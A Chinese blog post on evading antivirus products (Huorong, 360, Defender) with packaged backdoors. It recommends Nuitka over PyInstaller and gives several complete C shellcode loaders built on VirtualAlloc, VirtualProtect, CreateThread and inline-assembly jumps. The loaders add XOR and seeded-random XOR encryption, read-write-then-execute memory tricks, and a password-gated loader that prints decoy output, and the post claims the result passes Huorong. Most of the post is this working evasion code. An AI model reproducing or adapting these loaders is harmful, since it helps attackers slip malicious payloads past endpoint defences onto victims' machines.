• c语言免杀火绒


    前记

    pyinstaller

    pyinstaller目前已经被杀疯了,简单打包一个hello

    a="hello"
    print(a)
    
    #pyinstaller -F -w b.py -n HipsMain.exe
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    考虑Nuitka

    pip uninstall nuitka
    pip install nuitka==
    pip install nuitka==1.8.5
    这里最新的1.8.5支持python3.11,因此将python环境切换到3.11
    python -m nuitka --lto=no --onefile --standalone a.py
    python -m nuitka  --onefile --standalone a.py
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    因此对后门打包建议使用nuitka,测试evilhiding项目的b.py用nuitka打包后可过火绒、360、defender

    c语言

    尝试c语言release出来的exe,可见c语言生成的exe是效果最好且体积最小,因此接下来探索c的免杀之路

    在这里插入图片描述

    c加载器

    原生加载

    #include 
    #include 
    #include 
    
    #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
    int main()
    {
        //方式一:指针执行
        //((void(*)(void)) & buf)();
    
        //方式二:强制类型转换
        //((void(WINAPI*)(void))&buf)();
    
        //方式三:申请动态内存加载
        //char* Memory;
        //Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        //memcpy(Memory, buf, sizeof(buf));
        //((void(*)())Memory)();
    
        //方式四:嵌入汇编加载
        unsigned char buf[] = "";
        void* p;
        VirtualProtect(buf,sizeof(buf),PAGE_EXECUTE_READWRITE,&p);
        _asm {
        lea eax,buf
        push eax
        ret
        }
        system("pause");
    
        //方式五:汇编花指令
        //__asm{
        //mov eax, offset shellcode
        //_emit 0xFF
        //_emit 0xE0
        //}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    xor加密

    def jiami(shellcode,num):
        shellcode.split('\\x')
        newcode=''
        for i in shellcode:
            base10 = ord(i) ^ num
            code_hex = hex(base10)
            code_hex = code_hex.replace('0x', '')
            if (len(code_hex) == 1):
                code_hex = '0' + code_hex
            newcode += '\\x' + code_hex
        print(newcode)
    
    if __name__ == '__main__':
        shellcode=''
        num=int (input("num:"))
        jiami(shellcode,num)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    #include 
    
    // 入口函数
    int wmain(int argc, TCHAR* argv[]) {
    
        int shellcode_size = 0; // shellcode长度
        DWORD dwThreadId; // 线程ID
        HANDLE hThread; // 线程句柄
        /* length: 800 bytes */
    
        unsigned char buf[] = "加密后的字符串";
    
        // 获取shellcode大小
        shellcode_size = sizeof(buf);
    
        /* 增加异或代码 */
        for (int i = 0; i < shellcode_size; i++) {
            buf[i] ^= 4;
        }
        /*
        VirtualAlloc(
            NULL, // 基址
            800,  // 大小
            MEM_COMMIT, // 内存页状态
            PAGE_EXECUTE_READWRITE // 可读可写可执行
            );
        */
    
        char* shellcode = (char*)VirtualAlloc(
            NULL,
            shellcode_size,
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE
        );
        // 将shellcode复制到可执行的内存页中
        CopyMemory(shellcode, buf, shellcode_size);
    
        hThread = CreateThread(
            NULL, // 安全描述符
            NULL, // 栈的大小
            (LPTHREAD_START_ROUTINE)shellcode, // 函数
            NULL, // 参数
            NULL, // 线程标志
            &dwThreadId // 线程ID
        );
    
        WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    敏感修改

    • 在 shellcode 读入时,申请一个普通的可写内存页,然后通过 VirtualProtect 加上可执行权限。
    • 用 InterlockedXorRelease 函数代替 ^(异或)。
        for (int i = 0; i < shellcode_size; i++) {
            Sleep(50);
            // buf[i] ^= 10;
            _InterlockedXor8(buf + i, 10);
        }
    	char* shellcode = (char*)VirtualAlloc(
            NULL,
            shellcode_size,
            MEM_COMMIT,
            PAGE_READWRITE      // 只申请可写
        );
        //将 shellcode 复制到可执行的内存页中
        CopyMemory(shellcode, buf, shellcode_size);
    
        // 更改它的属性为可执行
        VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    随机数异或加密

    #define _CRT_SECURE_NO_WARNINGS
    #include 
    #include 
    #include 
    #include
    
    int main() {
        unsigned char buf[] = "";    
        int a = 88;
        int len = sizeof(buf) - 1;
        unsigned char jiami[900];
        int b = 0;
        srand(a);
        for (int i = 0; i < len; i++) {
            b = rand() % 9 + 1;//1-9
            jiami[i] = b ^ buf[i];
            printf("\\x%x", jiami[i]);
        }
        system("pause");
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    #include 
    #include 
    #include 
    #include
    void jisuan(int i) {
        for (int j = 0; j < i; j++)
            printf("%d\n", j);
    }
    int main(int argc, char* argv[])
    {
        if (argc == 2)
        {
            char k[] = "998";
            if (strcmp(argv[1],k)==0) {
                int a = 88;
                unsigned char jiemi[900] = { 0 };
                unsigned char jiami[900] = "";
                int len = sizeof(jiami) - 1;
                int b;
                srand(a);
                for (int i = 0; i < len; i++)
                {
                    b = rand() % 9 + 1;//1-9
                    jiemi[i] = jiami[i] ^ b;
                }
                void* p;
                VirtualProtect(jiemi, sizeof(jiemi), PAGE_EXECUTE_READWRITE, &p);
                _asm {
                    lea eax, jiemi
                    push eax
                    ret
                }
                system("pause");
            }
            else {
                jisuan(88);
            }
        }
        else
        {
            jisuan(100);
        }
        return 0;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    经过测试可过火绒

    在这里插入图片描述

    补充知识

    windows杀死进程

    taskkill /im {映像名称} /f
    taskkill /pid {pid} /F
    
    • 1
    • 2

    python调用c语言(Linux)

    int add(int num1, int num2)
    {
        return num1 + num2;
    }
    
    • 1
    • 2
    • 3
    • 4
    gcc c_dll.c -shared -o c_dll.so
    
    • 1
    from ctypes import *
    
    if __name__ == '__main__':
        getso=cdll.LoadLibrary("./c_dll.so")
        print(getso.add(1,2))
    
    • 1
    • 2
    • 3
    • 4
    • 5

    文件转化为16进制打印

    import binascii
    print(binascii.b2a_hex(open("1.txt","rb").read()))
    
    • 1
    • 2
  • 相关阅读:
    【数据分析】:搭建数据分析业务工作流程
    红蓝对抗闭环操作流程简单梳理和介绍
    [Qt/C/C++]JSON和程序发布
    windows批处理命令
    【进制转换】
    做SEO为什么有的网站收录很难做?
    Idea显示无法自动装配。找不到‘ xxx’类型的Bean
    WebRTC学习笔记一 简单示例
    java-php-python-ssm研究生入学考试备考辅助系统计算机毕业设计
    运维自动化:提高效率的秘诀
  • 原文地址:https://blog.csdn.net/qq_63701832/article/details/134478152